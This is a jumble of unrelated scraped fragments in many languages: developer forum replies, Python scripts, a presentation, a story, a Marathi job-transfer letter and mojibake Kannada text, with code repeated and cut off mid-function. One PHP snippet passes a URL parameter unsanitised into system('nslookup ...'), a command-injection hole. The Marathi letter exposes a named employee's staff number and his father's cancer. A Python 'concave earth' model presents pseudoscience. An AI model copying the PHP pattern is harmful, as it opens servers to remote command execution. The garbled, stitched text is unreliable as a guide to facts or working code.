Напиши мне в тг по @codeem, давай замутим это дело в вебе. И ещё добавим pwa, чтобы можно было генерить картинки в вебе одной командой.
Попробуй llava3.2, MiniCPM-v (могут в VQA). Это все есть на HF и ollama. С ollama легче запустить. Если нужно шустрое, то moondream2, но сама по себе моделька не сильная. Можно поискать на HF конкретно под предметную область, может кто-то дообучал. А так по классике, если опенсорс не сработает, то придется тюнить на чем-то.
Можно установить требуемый пакет
dnf install redhat-rpm-config
我是 xcode 版本升级到16.3版本出现的此问题 我把 xcode降到16.2版本 再运行就正常了
react native:0.65.1 xcode:16.2 macos:15.4
дело в том, что порт 3001 предназначен для настройки конфигурации. Тебе нужно назначить новый порт для приема текстовых команд с помощью утилиты ClarityConfig.
Твой код рабочий, и он мне очень сильно помог, спасибо!
data-target 속성은 작동할 대상 요소를 지정합니다. 일반적으로 CSS 선택자(ID 등)를 사용합니다. 그 외에는 알아서 지정하고싶은거 사용하는거에요 website
Мне удалось решить эту проблему удалением переменной среды PYTHONPATH
安装对应版本的devel,我是python3.11 我安装python3-devel不能解决问题,安装python311-dev可以解决问题了
yum install python311-devel
pip3 install uwsgi
Установил все. import * as Location from 'expo-location' import * as TaskManager from 'expo-task-manager' Программа скомпилировалась и запустилась. Но ничего не делает. В чем может быть проблема?
Вы нашли решение? Столкнулся с такой же проблемой, но не уверен, что это системная невозможность
طرح مهر ارسال به سراسر کشور بهترین قیمت و برندها
Обычно nginx возвращает весь путь сайта (без меток) в переменной $_GET['q'], и для обработки можно использовать $path=explode("/", $_GET['q']); и дальше по усмотрению. Всё придётся делать в index.php и подгружать файлы через include. Так не придётся мучительно настраивать файл конфигурации, изучать правила и перезагружать сервер.
from pydub import AudioSegment
from gtts import gTTS
# Текст из первого варианта
lyrics = """
Ты не гладь против шерсти, не трогай душу вслепую,
Я был весь в иголках, но тянулся к тебе — как к святому.
Ты хотела тепла — я отдал тебе пепел из сердца,
А теперь твои пальцы царапают — будто мне нечем защититься.
Я не был добрым — но я был настоящим,
Слово — не сахар, но всегда без фальши.
Ты гладила боль — а она лишь росла,
Ты думала, трогаешь шёлк, а трогала шрамы со дна.
Ты вырезала мой голос — будто был он из плёнки,
Но память играет его снова, без купюр, как в комнатке.
Мы тонем, не глядя друг другу в глаза,
Ты гладь по течению — а я всегда против шла.
Я не хотел стать врагом — но ты сделала монстра,
Я гладил любовь, а ты рвала её остро.
Ты ищешь во мне то, чего не было вовсе,
Но, чёрт, я пытался, как пламя в ледяной кости.
"""
# Генерация озвучки с помощью gTTS
tts = gTTS(text=lyrics, lang='ru')
tts.save("/mnt/data/vocal_track.mp3")
# Путь к сохранённому файлу
"/mnt/data/vocal_track.mp3"
from pydub import AudioSegment
from gtts import gTTS
# Текст из первого варианта
lyrics = """
Ты не гладь против шерсти, не трогай душу вслепую,
Я был весь в иголках, но тянулся к тебе — как к святому.
Ты хотела тепла — я отдал тебе пепел из сердца,
А теперь твои пальцы царапают — будто мне нечем защититься.
Я не был добрым — но я был настоящим,
Слово — не сахар, но всегда без фальши.
Ты гладила боль — а она лишь росла,
Ты думала, трогаешь шёлк, а трогала шрамы со дна.
Ты вырезала мой голос — будто был он из плёнки,
Но память играет его снова, без купюр, как в комнатке.
Мы тонем, не глядя друг другу в глаза,
Ты гладь по течению — а я всегда против шла.
Я не хотел стать врагом — но ты сделала монстра,
Я гладил любовь, а ты рвала её остро.
Ты ищешь во мне то, чего не было вовсе,
Но, чёрт, я пытался, как пламя в ледяной кости.
"""
# Генерация озвучки с помощью gTTS
tts = gTTS(text=lyrics, lang='ru')
tts.save
я новичок во объясните пожалуйста как убрать флаг
Проверь коэффициенты перевода единиц:
Масса: В геометрических единицах (G=c=1) 1 солнечная масса (M☉) соответствует ~1.477 км. Чтобы получить массу в M☉, раздели результат на этот коэффициент.
Уравнение состояния (EOS):
eos(p)
корректна для твоих единиц. Например, если EOS предполагает определённые коэффициенты (вроде 20 в твоем коде), проверь их соответствие единицам давления и плотности энергии.Начальные условия и параметры интегрирования:
1e-13
может быть слишком малым. Проверь физически реалистичные значения для нейтронных звезд (например, ~1e35 Па в ядре).Проверка условий остановки:
y[0] > 1e-17
может преждевременно останавливать интегрирование. Попробуй уменьшить этот порог или использовать условие на радиус.Для уравнения состояния с известным решением (например, e = 3p
) убедись, что код даёт ожидаемые массу и радиус.
Сравни результаты с литературными данными, учитывая коэффициенты перевода единиц.
你遇到的问题主要是由于 main
函数在子 goroutine 完成工作之前就退出了。在 Go 中,当 main
函数返回时,整个程序就会终止,而不管其他 goroutine 是否还在运行。
sync.WaitGroup
sync.WaitGroup 是 Go 标准库中用于等待一组 goroutine 完成的工具。你可以使用它来确保 main
函数在所有子 goroutine 完成后再退出。
2. 简化 receiver
函数
你可以使用 for...range
循环来简化 receiver
函数,它会自动处理通道关闭的情况。
总结
通过使用 sync.WaitGroup
,你可以确保 main
函数等待所有子 goroutine 完成工作后再退出,从而避免程序提前终止。同时,使用 for...range
循环可以简化通道的接收操作。
я тоже изменил свой package.json на то что было указано в терминале после это написал в терминале npx expo i --fix и все заработало)
Qudos!
30 chracters, why?............
((1,"c"), (23, "a"), (32,"b"))
+----------------------------------+---------+------------------------+----------------+
| Col1 | Col2 | Col3 | Numeric Column |
+----------------------------------+---------+------------------------+----------------+
| Value 1 | Value 2 | 123 | 10.0 |
| Separate | cols | with a tab or 4 spaces | -2,027.1 |
| This is a row with only one cell | | | |
+----------------------------------+---------+------------------------+----------------+
+----------------------------------+---------+------------------------+----------------+
| Col1 | Col2 | Col3 | Numeric Column |
+----------------------------------+---------+------------------------+----------------+
| Value 1 | Value 2 | 123 | 10.0 |
| Separate | cols | with a tab or 4 spaces | -2,027.1 |
| This is a row with only one cell | | | |
+----------------------------------+---------+------------------------+----------------+
¸À.PÁ.¤.EA, UÁæ«ÄÃt PÀÄrAiÀÄĪÀ ¤ÃgÀÄ ªÀÄvÀÄÛ £ÉʪÀÄð®å G.«¨sÁUÀ, ªÀÄAUÀ¼ÀÆgÀÄ EªÀgÀ PÉÆA¥ÀzÀªÀÅ UÉÆÃ±Á¯É §½AiÀÄ ºÉƸÀ ºÀZï.n ¸ÁܪÀgÀPÉÌ 350 PÉ«J «zÀÄåvï ¸ÀA¥ÀPÀð PÀ°à¸ÀĪÀ PÁªÀÄUÁjUÉ ¨ÉÃPÁzÀ G¥ÀPÀgÀt/ ¸ÁªÀiÁVæUÀ¼À C£ÀÄªÉÆÃzÀ£ÉUÁV gÉÃSÁavÀæUÀ¼À vÀSÉÛ
# نموذج محاكاة الأرض المقعّرة وحركة الشمس والقمر
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
# إعدادات الشكل العام
R = 1.0 # نصف قطر الأرض (الوحدة الأساسية)
r_s = 0.8 * R # نصف قطر مدار الشمس داخل القبة
r_c = 0.9 * R # نصف قطر مدار القمر داخل القبة
z_s = 0.6 * R # ارتفاع مدار الشمس
z_c = 0.7 * R # ارتفاع مدار القمر
omega_s = 2 * np.pi / 24 # سرعة زاوية للشمس (دورة كل 24 ساعة)
omega_c = 2 * np.pi / 28 # سرعة زاوية للقمر (دورة كل 28 ساعة)
# عدد الخطوات الزمنية
steps = 500
t = np.linspace(0, 24, steps) # الزمن بوحدة الساعات
# مسارات الشمس والقمر
x_s = r_s * np.cos(omega_s * t)
y_s = r_s * np.sin(omega_s * t)
z_s_arr = np.full_like(t, z_s)
x_c = r_c * np.cos(-omega_c * t)
y_c = r_c * np.sin(-omega_c * t)
z_c_arr = np.full_like(t, z_c)
# رسم ثلاثي الأبعاد
fig = plt.figure(figsize=(10, 8))
ax = fig.add_subplot(111, projection='3d')
# رسم سطح الأرض (نصف كرة مقعرة)
u = np.linspace(0, np.pi, 30)
v = np.linspace(0, np.pi, 30)
u, v = np.meshgrid(u, v)
x = R * np.sin(u) * np.cos(v)
y = R * np.sin(u) * np.sin(v)
z = -R * np.cos(u)
ax.plot_surface(x, y, z, color='lightblue', alpha=0.3)
# مسار الشمس
ax.plot(x_s, y_s, z_s_arr, color='orange', label='مسار الشمس')
# مسار القمر
ax.plot(x_c, y_c, z_c_arr, color='gray', label='مسار القمر')
# رسم القبة العلوية (السماء)
u = np.linspace(0, np.pi, 30)
v = np.linspace(0, 2 * np.pi, 30)
u, v = np.meshgrid(u, v)
x_cup = R * np.sin(u) * np.cos(v)
y_cup = R * np.sin(u) * np.sin(v)
z_cup = R * np.cos(u)
ax.plot_surface(x_cup, y_cup, z_cup, color='skyblue', alpha=0.2)
ax.set_xlim([-R, R])
ax.set_ylim([-R, R])
ax.set_zlim([-R, R])
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')
ax.set_title('نموذج الأرض المقعرة وحركة الشمس والقمر')
ax.legend()
plt.tight_layout()
plt.show()
Emirates Әуежайы және Компаниясы туралы қысқаша презентация (Бағасы қосылған)
---
1. Кіріспе
Emirates — әлемнің жетекші әуе компанияларының бірі.
Дубай халықаралық әуежайы (DXB) — әлемдегі ең көп жолаушы тасымалдайтын әуежайлардың бірі.
Әуежай жыл сайын 90 миллионнан астам жолаушыға қызмет көрсетеді.
Бағасы: Emirates әуе билеттерінің бағасы бағытқа, саяхат уақытына және ұшу классына байланысты өзгереді. Орташа баға эконом-класстағы билет үшін 500-1000 АҚШ долларын құрайды.
---
2. Дубай халықаралық әуежайы (DXB)
Әлемдегі ең үлкен транзиттік хаб.
Ұшу-қону жолақтары: 4,5 км ұзындығы бар әлемдегі ең ұзын жолақтардың бірі.
Emirates үшін арнайы терминал: 3 терминалдың бірі тек Emirates рейстеріне арналған.
---
3. Emirates Әуе Компаниясының Ерекшеліктері
Әлемдік деңгейдегі қызмет: Бизнес және бірінші класс жолаушылары үшін жеке бөлмелер мен VIP қызметтер.
Airbus A380 флоттары: Әлемдегі ең үлкен A380 флоттарының бірі.
SkyCargo: Әуе компаниясы әлем бойынша жүк тасымалдаудың жетекші ойыншысы.
---
4. Экологиялық Жауапкершілік
Жасыл технологиялар: Экологиялық таза ұшақтар мен энергия тиімділігін арттыру.
Көміртек шығарындыларын азайту мақсатында жаңа ұшақтар пайдалануға енгізілген.
---
5. Қорытынды
Emirates әуе компаниясы мен Дубай халықаралық әуежайы әлемдегі ең үздік әуе тасымалдарын ұсынатын орталықтар болып табылады.
Бағасы: Қызмет көрсетудің жоғары сапасына сәйкес, Emirates рейстерінің бағасы әдетте жоғары деңгейде, бірақ сапа мен ыңғайлылыққа сәйкес келеді.
---
अर्जुन एक छोटे से गाँव में रहता था। वह एक ऐसा लड़का था जिसके मन में हमेशा नए-नए विचार आते रहते थे। उसे कहानियाँ बनाने और लोगों को अपनी कहानियों से प्रभावित करने का बहुत शौक था। उसका सपना था कि वह अपनी कहानियों के माध्यम से दुनिया को एक नया दृष्टिकोण दे सके।
अर्जुन के गाँव में, जीवन सरल और शांत था। लोग अपनी रोज़मर्रा की ज़िंदगी में व्यस्त रहते थे, लेकिन अर्जुन की कल्पनाएँ उसे एक अलग दुनिया में ले जाती थीं। वह घंटों तक पेड़ों के नीचे बैठकर कहानियाँ लिखता रहता था, और उसकी कहानियाँ उसके गाँव के लोगों को भी बहुत पसंद आती थीं।
एक दिन, अर्जुन ने एक प्रतियोगिता के बारे में सुना, जिसमें कहानीकारों को अपनी कहानियाँ सुनाने का मौका मिलता था। अर्जुन ने इस प्रतियोगिता में भाग लेने का फैसला किया, और उसने अपनी सबसे अच्छी कहानी लिखी। उसकी कहानी एक ऐसे लड़के के बारे में थी जो अपने सपनों को पूरा करने के लिए सभी मुश्किलों का सामना करता है।
प्रतियोगिता के दिन, अर्जुन थोड़ा घबराया हुआ था, लेकिन जैसे ही उसने अपनी कहानी सुनाना शुरू किया, उसका आत्मविश्वास बढ़ता गया। उसकी कहानी ने सभी को मंत्रमुग्ध कर दिया, और उसे प्रतियोगिता का विजेता घोषित किया गया।
अर्जुन की जीत ने उसके गाँव में हलचल मचा दी। लोग उसकी प्रतिभा से बहुत प्रभावित हुए, और उसे एक प्रेरणा के रूप में देखने लगे। अर्जुन ने अपनी सफलता का उपयोग अपने गाँव के लोगों की मदद करने के लिए किया। उसने एक पुस्तकालय खोला, जहाँ बच्चे और वयस्क दोनों कहानियाँ पढ़ सकते थे और सीख सकते थे।
अर्जुन की कहानी हमें यह सिखाती है कि यदि हमारे पास सपने हैं और हम उन सपनों को पूरा करने के लिए मेहनत करते हैं, तो हम कुछ भी हासिल कर सकते हैं।
प्रति,
महाव्यवस्थापक (क. व. औ. सं.)
महाराष्ट्र राज्य मार्ग परिवहन महामंडळ
मध्यवर्ती कार्यालय, महाराष्ट्र वाहतूक भवन
डॉ. मा. ना. मार्ग, मुंबई – ४०० ००८
विषय: वडील सतत आजारी असल्यामुळे अंतरविभागीय बदली करण्याबाबत विनंती
महोदय,
मी, उत्तम प्रल्हाद कोकाटे (वहाक – १४००१९), सध्या बीड विभागामधील माजलगाव आगार येथे २०१४ पासून कार्यरत आहे. माझ्या कार्यकाळात मी माझी सेवा समाधानकारकपणे बजावली आहे.
सदरहू विनंती करण्याचे कारण असे की, माझे वडील यांना कर्करोग व इतर गंभीर आजार असून त्यांच्यावर वैद्यकीय उपचार सुरू आहेत. ते वयोवृद्ध असल्यामुळे त्यांची नियमित देखभाल आवश्यक आहे, जी मीच करू शकतो.
त्यामुळे, माझी अंतरविभागीय बदली बीड विभागातून अकोला विभागातील रिसोड आगार येथे करण्यात यावी, अशी मी नम्र विनंती करतो. वडिलांच्या आजारासंबंधी वैद्यकीय कागदपत्रे संलग्न केलेली आहेत.
आपल्या सहकार्याची अपेक्षा आहे.
आपला विश्वासू,
उत्तम प्रल्हाद कोकाटे
वहाक (१४००१९)
रा.
प. म. माजलगाव आगार
<?php
if (isset($_GET['domain'])) {
echo '\<pre\>';
$domain = $\_GET\['domain'\];
$lookup = system("nslookup {$domain}");
echo($lookup);
echo '\</pre\>';
}
?>
from moviepy.editor import VideoFileClip, AudioFileClip, concatenate_videoclips, CompositeAudioClip, CompositeVideoClip, TextClip, concatenate_audioclips
from gtts import gTTS
import os
# Paths
video_path = "/mnt/data/Video-85.mp4"
voiceover_path = "/mnt/data/voiceover.mp3"
final_video_path = "/mnt/data/final_video.mp4"
bg_music_path = "/mnt/data/background_music.mp3"
# Script (same as above)
script = """
कभी इन पेड़ों की छांव में हमने बचपन बिताया था…
कभी इनकी शाखों ने पंछियों को घर दिया था…
आज, वही पेड़…
काटे जा रहे हैं,
बिना आवाज़ किए गिरते जा रहे हैं,
जैसे उनकी कोई अहमियत ही नहीं।
हैदराबाद…
जो कभी हरियाली के लिए जाना जाता था,
आज वहाँ की हरियाली खतरे में है।
ये सिर्फ पेड़ नहीं हैं…
ये हमारे सांसों की उम्मीद हैं,
हमारे बच्चों का भविष्य हैं,
हमारी ज़िन्दगी की जड़ें हैं।
क्या हम इतने मजबूर हो गए हैं,
कि पेड़ गिरते रहें और हम चुप रहें?
अब वक़्त है बोलने का।
अब वक़्त है खड़े होने का।
अब वक़्त है पेड़ों को बचाने का।
आवाज़ उठाओ… क्योंकि जब आख़िरी पेड़ कट जाएगा,
तब सिर्फ पछतावा बचेगा।
"""
# Generate voiceover using gTTS
tts = gTTS(script, lang='hi')
tts.save(voiceover_path)
# Load video and voiceover
video = VideoFileClip(video_path)
voiceover = AudioFileClip(voiceover_path)
# Adjust video duration to match voiceover
video = video.set_duration(voiceover.duration)
# Create final audio (just voiceover for now)
video = video.set_audio(voiceover)
# Export the final video
video.write_videofile(final_video_path, codec="libx264", audio_codec="aac")
final_video_path
استعادة البرنامج الأساسية الاقتراضية تثبيت تلقائي 70 خطأ Google Play "خطأ أثناء استرداد المعلومات من الخادم [DF-DFERH-01]" باستخدام android-latest-release
Добавляю ответ для рассуждения чтобы получить уведомление
thanks, all good!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
6 years down the line and that's still the case.....................................................
در فایل ادمین به ترتیب دلخواه مدل هارو به پنل مدیریت ادمین معرفی کن.
### **6. إذا كنت تريد طريقة أبسط (بدون APIs)**
جرّب استخدام **مكتبة BeautifulSoup** لاستخراج الصور من صفحات الويب مباشرةً (لكن قد ينتهك شروط استخدام بعض المواقع):
```python
import requests
from bs4 import BeautifulSoup
url = "https://example.com/products"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# استخراج جميع صور المنتجات
product_images = []
for img in soup.find_all('img'):
product_images.append(img\['src'\])
print(product_images)
```
---
### **ملاحظة أخيرة**:
إذا لم تنجح أي من الحلول أعلاه، شارك معي:
1. **الخطوات التي اتبعتها بالضبط**.
2. **نص الخطأ الذي يظهر لك** (صورة أو نصًا).
3. **مثال عن الكود الذي كتبته**.
سأحاول مساعدتك في تحديد المشكلة بدقة! 🔍
นั้นแหละที่ทำไมผมจึง"ไม่ลบส่วนหัว"ออกเพราะมันคือหลักฐานชั้นดีสำหรับผู้แอบอ้าง สวมรอย ขโมยเปลี่ยนแปลงการเข้าใช้บัญชีของผมมันจะมีผลในชั้น"ศาล"เมื่อเรียกหาข้อมูลหลักฐานครับ
(นาย อนุรักษ์ ศรีจันทรา)ผู้ให้ข้อมูลและเจ้าของบัญชีใช้งานเข้าใช้
Step # | Text |
---|---|
1 | Circle((0,0),1) |
3 | B=Rotate(A,α,O) |
Step # | Text |
---|---|
4 | Segment(A,O) |
5 | Arc(c,A,B) |
Step # | Text |
---|---|
6 | (α,y(B)) |
7 | (α,x(B)) |
Step # | Text |
---|---|
8 | Angle(A,O,B) |
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# initialize
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=[[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 2], [1, 3], [2, 3], [3, 3], [4, 1], [4, 2], [4, 3]]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
t=[0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v1 = [.1, -.1, .1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v2 = [.1, .1, -.1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w = [-.1, .1, .1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
lr = 0.0075
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
alpha = 0.0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(1000):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x=X[i]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(classify(x, v1, v2, w))
# feedforward
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
# backward
y_error = (1-t[i])*y - t[i]*(1-y)
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#print(y_error)
#print()
z1_error = y_error*w[1]*(1-z1)*(1+z1)
z2_error = y_error*w[2]*(1-z2)*(1+z2)
# update weights
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
w[1] = w[1] - lr*y_error*z1 - lr*alpha*w[1]
w[2] = w[2] - lr*y_error*z2 - lr*alpha*w[2]
v1[0] = v1[0] - lr*z1_error*1 - lr*alpha*v1[0]
v1[1] = v1[1] - lr*z1_error*x[0] - lr*alpha*v1[1]
v1[2] = v1[2] - lr*z1_error*x[1] - lr*alpha*v1[2]
v2[0] = v2[0] - lr*z2_error*1 - lr*alpha*v2[0]
v2[1] = v2[1] - lr*z2_error*x[0] - lr*alpha*v2[1]
v2[2] = v2[2] - lr*z2_error*x[1] - lr*alpha*v2[2]
print("TE: \t%0.3f" %total_error)
for x in X:
print(classify(x, v1, v2, w))
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
p=np.array([classify(d, v1, v2, w) for d in D])
p=p.reshape(xx.shape)
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=20)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=20)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
Dp = []
t = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for d in D:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if d[0] > 2 and d[0] < 3 and d[1] > 2 and d[1] < 3:
Dp.append(d)
t.append(1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
elif (d[0] < 1 or d[0] > 4) or (d[1] < 1 or d[1] > 4):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if np.random.rand() < 0.05:
Dp.append(d)
t.append(0)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
np.mean(t)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=3)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=3)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
num_hidden = 4
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def classify2(x, vs, w):
nh = len(vs)
zs = []
for i in range(nh):
v = vs[i]
zs.append(np.tanh(v[0] + np.dot(v[1:], x)))
y = 1./(1.+np.exp(-w[0]-np.dot(w[1:], zs)))
return y
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
vs = []
w = []
w.append(np.random.rand()*2-1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(num_hidden):
v = []
for _ in range(3):
v.append(np.random.rand()*2-1)
vs.append(v)
w.append(np.random.rand()*2-1)
lr = 0.005
alpha = 0.0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
try:
for _ in range(100):
total_error = 0
for i in range(len(X[:])):
x=X[i]
#print(classify(x, v1, v2, w))
# feedforward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# initialize
X=[[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 2], [1, 3], [2, 3], [3, 3], [4, 1], [4, 2], [4, 3]]
t=[0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1]
v1 = [.1, -.1, .1]
v2 = [.1, .1, -.1]
w = [-.1, .1, .1]
lr = 0.0075
alpha = 0.0
for _ in range(1000):
total_error = 0
for i in range(len(X)):
x=X[i]
#print(classify(x, v1, v2, w))
# feedforward
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
# backward
y_error = (1-t[i])*y - t[i]*(1-y)
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#print(y_error)
#print()
z1_error = y_error*w[1]*(1-z1)*(1+z1)
z2_error = y_error*w[2]*(1-z2)*(1+z2)
# update weights
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
w[1] = w[1] - lr*y_error*z1 - lr*alpha*w[1]
w[2] = w[2] - lr*y_error*z2 - lr*alpha*w[2]
v1[0] = v1[0] - lr*z1_error*1 - lr*alpha*v1[0]
v1[1] = v1[1] - lr*z1_error*x[0] - lr*alpha*v1[1]
v1[2] = v1[2] - lr*z1_error*x[1] - lr*alpha*v1[2]
v2[0] = v2[0] - lr*z2_error*1 - lr*alpha*v2[0]
v2[1] = v2[1] - lr*z2_error*x[0] - lr*alpha*v2[1]
v2[2] = v2[2] - lr*z2_error*x[1] - lr*alpha*v2[2]
print("TE: \t%0.3f" %total_error)
for x in X:
print(classify(x, v1, v2, w))
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
p=np.array([classify(d, v1, v2, w) for d in D])
p=p.reshape(xx.shape)
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=20)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=20)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
Dp = []
t = []
for d in D:
if d[0] > 2 and d[0] < 3 and d[1] > 2 and d[1] < 3:
Dp.append(d)
t.append(1)
elif (d[0] < 1 or d[0] > 4) or (d[1] < 1 or d[1] > 4):
if np.random.rand() < 0.05:
Dp.append(d)
t.append(0)
np.mean(t)
X=Dp
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=3)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=3)
num_hidden = 4
def classify2(x, vs, w):
nh = len(vs)
zs = []
for i in range(nh):
v = vs[i]
